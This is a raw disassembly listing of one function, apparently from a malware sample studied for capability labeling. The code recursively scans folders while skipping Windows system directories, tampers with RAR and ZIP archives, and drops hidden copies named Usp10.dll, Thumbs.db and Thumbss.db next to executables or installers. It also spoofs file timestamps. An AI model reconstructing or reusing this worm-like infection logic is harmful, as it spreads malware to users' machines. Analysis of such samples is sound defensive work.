Function at 0x10003636
Capabilities:
Get common file path
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1ab4
call fcn.10014040
mov eax, dword [0x1002b060]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push 1
mov dword [ebp - 0x1aa8], edi
call dword [0x1002dd7c]
push edi
call fcn.10021bb5
mov dword [esp], 0x12c
xor esi, esi
lea eax, [ebp - 0x570]
push esi
push eax
call fcn.10011d50
add esp, 0xc
push 0x100
lea eax, [ebp - 0x570]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea ebx, [ebp - 0x570]
mov eax, ebx
push eax
call fcn.10013b90
cmp byte [eax + ebx - 1], 0x5c
pop ecx
jne 0x100036b6
mov eax, ebx
push eax
call fcn.10013b90
pop ecx
mov byte [eax + ebx - 1], 0
lea eax, [ebp - 0x570]
push eax
call fcn.10021bb5
push eax
push edi
call fcn.10014970
add esp, 0xc
test eax, eax
je 0x10003e96
mov ebx, 0x400
push ebx
lea eax, [ebp - 0x1970]
push esi
push eax
call fcn.10011d50
push edi
lea eax, [ebp - 0x1970]
push str._s.
push eax
call fcn.100137e6
push 0x128
lea eax, [ebp - 0x1a98]
push esi
push eax
mov dword [ebp - 0x1aa4], esi
mov dword [ebp - 0x1aa0], esi
mov dword [ebp - 0x1a9c], esi
call fcn.10011d50
lea eax, [ebp - 0x1a98]
push eax
lea eax, [ebp - 0x1970]
push eax
call fcn.10014a74
add esp, 0x2c
mov dword [ebp - 0x1ab0], eax
jmp 0x10003741
mov edi, dword [ebp - 0x1aa8]
lea eax, [ebp - 0x1a74]
push eax
call fcn.10021bb5
lea eax, [ebp - 0x1a74]
mov dword [esp], str.system32
push eax
call fcn.10014970
pop ecx
pop ecx
test eax, eax
je 0x10003e67
lea eax, [ebp - 0x1a74]
push str.recycler
push eax
call fcn.10014970
pop ecx
pop ecx
test eax, eax
je 0x10003e67
lea eax, [ebp - 0x1a74]
push str.winnt
push eax
call fcn.10014970
pop ecx
pop ecx
test eax, eax
je 0x10003e67
lea eax, [ebp - 0x1a74]
push str.windows
push eax
call fcn.10014970
pop ecx
pop ecx
test eax, eax
je 0x10003e67
test byte [ebp - 0x1a98], 0x10
lea eax, [ebp - 0x1a74]
jne 0x10003df8
push str..rar
push eax
call fcn.10013b90
lea eax, [ebp + eax - 0x1a78]
push eax
call fcn.10021bb5
pop ecx
pop ecx
push eax
call fcn.10014970
pop ecx
pop ecx
test eax, eax
je 0x10003824
lea eax, [ebp - 0x1a74]
push str..zip
push eax
call fcn.10013b90
lea eax, [ebp + eax - 0x1a78]
push eax
call fcn.10021bb5
pop ecx
pop ecx
push eax
call fcn.10014970
pop ecx
pop ecx
test eax, eax
jne 0x100039e5
push ebx
lea eax, [ebp - 0x444]
push esi
push eax
call fcn.10011d50
lea eax, [ebp - 0x1a74]
push eax
push edi
lea eax, [ebp - 0x444]
push 0x10022b8c
push eax
call fcn.100137e6
add esp, 0x1c
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
lea eax, [ebp - 0x444]
push eax
call dword [0x1003021c]
mov dword [ebp - 0x1ab4], eax
cmp eax, 0xffffffff
je 0x100039e5
lea ecx, [ebp - 0x1aac]
push ecx
push eax
mov dword [ebp - 0x1aac], esi
call dword [0x100314e8]
push dword [ebp - 0x1ab4]
mov edi, eax
call dword [0x1003108c]
and edi, 0xfff00000
cmp edi, 0x6400000
jae 0x100039e5
cmp dword [ebp - 0x1aac], esi
jne 0x100039e5
mov eax, dword [0x10022b84]
mov ecx, dword [0x10022b88]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x444]
push 0x100228fc
push eax
mov dword [ebp - 8], ecx
mov dword [ebp - 0x10], ecx
call fcn.1001401f
mov edi, eax
pop ecx
pop ecx
cmp edi, esi
je 0x100039e5
push edi
push 1
lea eax, [ebp - 0xc]
push 4
push eax
call fcn.10013f46
push 2
push 0xfffffffffffffff9
push edi
call fcn.10014f57
push edi
push 1
lea eax, [ebp - 0x14]
push 6
push eax
call fcn.10013f46
push edi
call fcn.10013c88
mov esi, 0x10022b78
lea edi, [ebp - 0x20]
movsd dword es:[edi], dword [esi]
add esp, 0x30
movsd dword es:[edi], dword [esi]
push 4
lea eax, [ebp - 0xc]
push 0x10022b70
push eax
movsb byte es:[edi], byte [esi]
call fcn.10021bb5
pop ecx
push eax
call fcn.10012131
add esp, 0xc
test eax, eax
je 0x10003964
push 4
lea eax, [ebp - 0xc]
push str.rar_
push eax
call fcn.10021bb5
pop ecx
push eax
call fcn.10012131
add esp, 0xc
test eax, eax
jne 0x100039e3
push 6
lea eax, [ebp - 0x1f]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10021bb5
pop ecx
push eax
call fcn.10012131
add esp, 0xc
test eax, eax
je 0x100039e3
push 4
lea eax, [ebp - 0xc]
push str.rar_
push eax
call fcn.10021bb5
pop ecx
push eax
call fcn.10012131
add esp, 0xc
test eax, eax
lea eax, [ebp - 0x444]
push eax
jne 0x100039ad
call fcn.1000319d
jmp 0x100039b2
call fcn.10002f71
pop ecx
lea eax, [ebp - 0x444]
push 0x10022b64
push eax
call fcn.1001401f
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x100039e3
push esi
push 1
lea eax, [ebp - 0x20]
push 8
push eax
call fcn.10014e53
push esi
call fcn.10013c88
add esp, 0x14
xor esi, esi
inc dword [ebp - 0x1aa4]
xor edi, edi
inc edi
cmp dword [ebp - 0x1aa4], 0x32
jbe 0x100039fd
mov dword [ebp - 0x1a9c], edi
cmp dword [ebp - 0x1aa0], esi
jne 0x10003a30
lea eax, [ebp - 0x1a74]
push str..exe
push eax
call fcn.10013b90
pop ecx
lea eax, [ebp + eax - 0x1a78]
push eax
call fcn.10014970
pop ecx
pop ecx
test eax, eax
jne 0x10003a30
mov dword [ebp - 0x1aa0], edi
cmp dword [ebp - 0x1a9c], esi
jne 0x10003a9d
lea eax, [ebp - 0x1a74]
push str..dll
push eax
call fcn.10013b90
pop ecx
lea eax, [ebp + eax - 0x1a78]
push eax
call fcn.10014970
pop ecx
pop ecx
test eax, eax
jne 0x10003a65
mov dword [ebp - 0x1a9c], edi
jmp 0x10003aa9
lea eax, [ebp - 0x1a74]
push str.setup.exe
push eax
call fcn.10014970
pop ecx
pop ecx
test eax, eax
je 0x10003a97
lea eax, [ebp - 0x1a74]
push str.install.exe
push eax
call fcn.10014970
pop ecx
pop ecx
test eax, eax
jne 0x10003e67
mov dword [ebp - 0x1a9c], edi
cmp dword [ebp - 0x1a9c], edi
jne 0x10003e67
cmp dword [ebp - 0x1aa0], edi
jne 0x10003e67
push 0x1002c318
call fcn.10021bb5
mov edi, dword [ebp - 0x1aa8]
push eax
push edi
call fcn.10014970
add esp, 0xc
test eax, eax
je 0x10003e67
push edi
call fcn.10013b90
pop ecx
cmp eax, 3
jbe 0x10003e67
push 2
pop eax
push ebx
mov dword [ebp - 0x1aa0], eax
mov dword [ebp - 0x1a9c], eax
lea eax, [ebp - 0x444]
push esi
push eax
call fcn.10011d50
push ebx
lea eax, [ebp - 0x970]
push esi
push eax
call fcn.10011d50
push ebx
lea eax, [ebp - 0x1170]
push esi
push eax
call fcn.10011d50
push ebx
lea eax, [ebp - 0xd70]
push esi
push eax
call fcn.10011d50
lea eax, [ebp - 0x444]
push edi
push eax
call fcn.10013a90
lea eax, [ebp - 0x1170]
push edi
push eax
call fcn.10013a90
add esp, 0x40
lea eax, [ebp - 0x444]
push 0x10022b38
push eax
call fcn.10013aa0
lea eax, [ebp - 0x1170]
push str.Usp10.dll
push eax
call fcn.10013aa0
push 0x21
lea eax, [ebp - 0x44]
push esi
push eax
call fcn.10011d50
add esp, 0x1c
lea eax, [ebp - 0x1170]
push eax
xor edi, edi
call dword [0x10031114]
cmp eax, 0xffffffff
lea eax, [ebp - 0x444]
push eax
jne 0x10003bae
call dword [0x10031114]
cmp eax, 0xffffffff
je 0x10003bcd
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x444]
jmp 0x10003bc3
call dword [0x10031114]
cmp eax, 0xffffffff
jne 0x10003bcd
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x1170]
push eax
call fcn.100024eb
pop ecx
pop ecx
jmp 0x10003bd0
xor edi, edi
inc edi
lea eax, [ebp - 0x44]
push eax
push 0x1002de20
call fcn.10014970
pop ecx
pop ecx
test eax, eax
jne 0x10003bed
cmp edi, 1
jne 0x10003e67
mov edi, dword [ebp - 0x1aa8]
push edi
call fcn.1000298e
pop ecx
test eax, eax
je 0x10003e67
lea eax, [ebp - 0xd70]
push edi
push eax
call fcn.10013a90
lea eax, [ebp - 0xd70]
push str.Thumbss.db
push eax
call fcn.10013aa0
lea eax, [ebp - 0x970]
push edi
push eax
call fcn.10013a90
lea eax, [ebp - 0x970]
push str.Thumbs.db
push eax
call fcn.10013aa0
add esp, 0x20
push esi
lea eax, [ebp - 0x970]
push eax
call dword [0x100311b4]
push esi
lea eax, [ebp - 0xd70]
push eax
call dword [0x100311b4]
lea eax, [ebp - 0x970]
push eax
call fcn.10014935
lea eax, [ebp - 0xd70]
push eax
call fcn.10014935
pop ecx
pop ecx
lea eax, [ebp - 0x970]
push eax
call dword [0x10031114]
cmp eax, 0xffffffff
jne 0x10003c9e
lea eax, [ebp - 0x970]
push eax
lea eax, [ebp - 0x444]
push eax
call fcn.10014cc9
pop ecx
pop ecx
lea eax, [ebp - 0x970]
push eax
call fcn.10014935
lea eax, [ebp - 0x444]
push eax
call fcn.10014935
pop ecx
pop ecx
lea eax, [ebp - 0xd70]
push eax
call dword [0x10031114]
cmp eax, 0xffffffff
jne 0x10003cdf
lea eax, [ebp - 0xd70]
push eax
lea eax, [ebp - 0x1170]
push eax
call fcn.10014cc9
pop ecx
pop ecx
lea eax, [ebp - 0xd70]
push eax
call fcn.10014935
lea eax, [ebp - 0x1170]
push eax
call fcn.10014935
pop ecx
pop ecx
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
test al, 1
je 0x10003d18
lea eax, [ebp - 0x1170]
push eax
lea eax, [ebp - 0x444]
push eax
call fcn.10013a90
pop ecx
pop ecx
push 1
lea eax, [ebp - 0x444]
push eax
push 0x1002c448
call dword [0x1003145c]
push esi
push 0x2000000
push 3
push esi
push 5
push 0xc0000000
lea eax, [ebp - 0x444]
push eax
call dword [0x1003021c]
mov ecx, 0x1002f41c
push ecx
push ecx
push ecx
push eax
mov dword [0x1002f754], eax
call dword [sym.imp.KERNEL32.DLL_SetFileTime]
push dword [0x1002f754]
call dword [0x1003108c]
push dword [0x1002b038]
lea eax, [ebp - 0x444]
push eax
call dword [0x100311b4]
lea eax, [ebp - 0x970]
push edi
push eax
call fcn.10013a90
lea eax, [ebp - 0x970]
push str._setup.exe
push eax
call fcn.10013aa0
add esp, 0x10
lea eax, [ebp - 0x970]
push eax
call dword [0x10031114]
cmp eax, 0xffffffff
je 0x10003dbe
push 6
lea eax, [ebp - 0x444]
push eax
call dword [0x100311b4]
lea eax, [ebp - 0x970]
push str...install.exe
push eax
call fcn.10013aa0
pop ecx
pop ecx
lea eax, [ebp - 0x970]
push eax
call dword [0x10031114]
cmp eax, 0xffffffff
je 0x10003e67
push 6
lea eax, [ebp - 0x444]
push eax
call dword [0x100311b4]
jmp 0x10003e67
push 0x10022af4
push eax
call fcn.10014970
pop ecx
pop ecx
test eax, eax
je 0x10003e67
lea eax, [ebp - 0x1a74]
push 0x10022af0
push eax
call fcn.10014970
pop ecx
pop ecx
test eax, eax
je 0x10003e67
push ebx
lea eax, [ebp - 0x1570]
push esi
push eax
call fcn.10011d50
lea eax, [ebp - 0x1a74]
push eax
push edi
lea eax, [ebp - 0x1570]
push 0x10022ae8
push eax
call fcn.100137e6
lea eax, [ebp - 0x1570]
push eax
call fcn.1000298e
add esp, 0x20
test eax, eax
je 0x10003e67
lea eax, [ebp - 0x1570]
push eax
call fcn.10003636
pop ecx
push 0x128
lea eax, [ebp - 0x1a98]
push esi
push eax
call fcn.10011d50
lea eax, [ebp - 0x1a98]
push eax
push dword [ebp - 0x1ab0]
call fcn.10014b9b
add esp, 0x14
test eax, eax
je 0x1000373b
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001386a
leave
ret